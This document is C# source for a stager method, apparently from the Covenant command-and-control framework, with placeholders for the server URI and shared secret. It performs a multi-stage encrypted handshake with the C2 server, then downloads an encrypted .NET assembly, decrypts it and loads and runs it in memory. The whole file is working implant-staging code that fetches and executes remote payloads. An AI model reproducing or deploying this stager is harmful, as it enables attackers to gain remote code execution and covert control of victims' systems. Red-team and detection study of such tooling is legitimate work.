public void ExecuteStager()
{
try
{
string CovenantURI = @"{{REPLACE_COVENANT_URI}}";
string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n");
string ProfileReadFormat = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n");
Random random = new Random();
string aGUID = @"{{REPLACE_GRUNT_GUID}}";
string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10);
byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}");
string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}";
Aes SetupAESKey = Aes.Create();
SetupAESKey.Mode = CipherMode.CBC;
SetupAESKey.Padding = PaddingMode.PKCS7;
SetupAESKey.Key = SetupKeyBytes;
SetupAESKey.GenerateIV();
HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes);
RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters());
byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false));
byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length);
byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey);
string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash));
string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body));
BridgeMessenger messenger = new BridgeMessenger(CovenantURI, GUID, ProfileWriteFormat);
messenger.Connect();
messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID));
string Stage0Response = messenger.Read().Message;
string extracted = Parse(Stage0Response, ProfileReadFormat)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
List <string> parsed = Parse(extracted, MessageFormat);
string iv64str = parsed[3];
string message64str = parsed[4];
string hash64str = parsed[5];
byte[] messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
{
return;
}
SetupAESKey.IV = Convert.FromBase64String(iv64str);
byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true);
Aes SessionKey = Aes.Create();
SessionKey.Mode = CipherMode.CBC;
SessionKey.Padding = PaddingMode.PKCS7;
SessionKey.Key = FullyDecrypted;
SessionKey.GenerateIV();
hmac = new HMACSHA256(SessionKey.Key);
byte[] challenge1 = new byte[4];
RandomNumberGenerator rng = RandomNumberGenerator.Create();
rng.GetBytes(challenge1);
byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length);
hash = hmac.ComputeHash(EncryptedChallenge1);
string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash));
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body));
string formatted = String.Format(ProfileWriteFormat, transformedResponse, GUID);
messenger.Write(formatted);
string Stage1Response = messenger.Read().Message;
extracted = Parse(Stage1Response, ProfileReadFormat)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
{
return;
}
SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
byte[] challenge1Test = new byte[4];
byte[] challenge2 = new byte[4];
Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4);
Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4);
if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test))
{
return;
}
SessionKey.GenerateIV();
byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length);
hash = hmac.ComputeHash(EncryptedChallenge2);
string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash));
transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body));
messenger.Write(String.Format(ProfileWriteFormat, transformedResponse, GUID));
string Stage2Response = messenger.Read().Message;
extracted = Parse(Stage2Response, ProfileReadFormat)[0];
extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
parsed = Parse(extracted, MessageFormat);
iv64str = parsed[3];
message64str = parsed[4];
hash64str = parsed[5];
messageBytes = Convert.FromBase64String(message64str);
if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes)))
{
return;
}
SessionKey.IV = Convert.FromBase64String(iv64str);
byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, GUID, SessionKey, messenger.client });
}
catch (Exception e) { Console.Error.WriteLine(e.Message); }
}
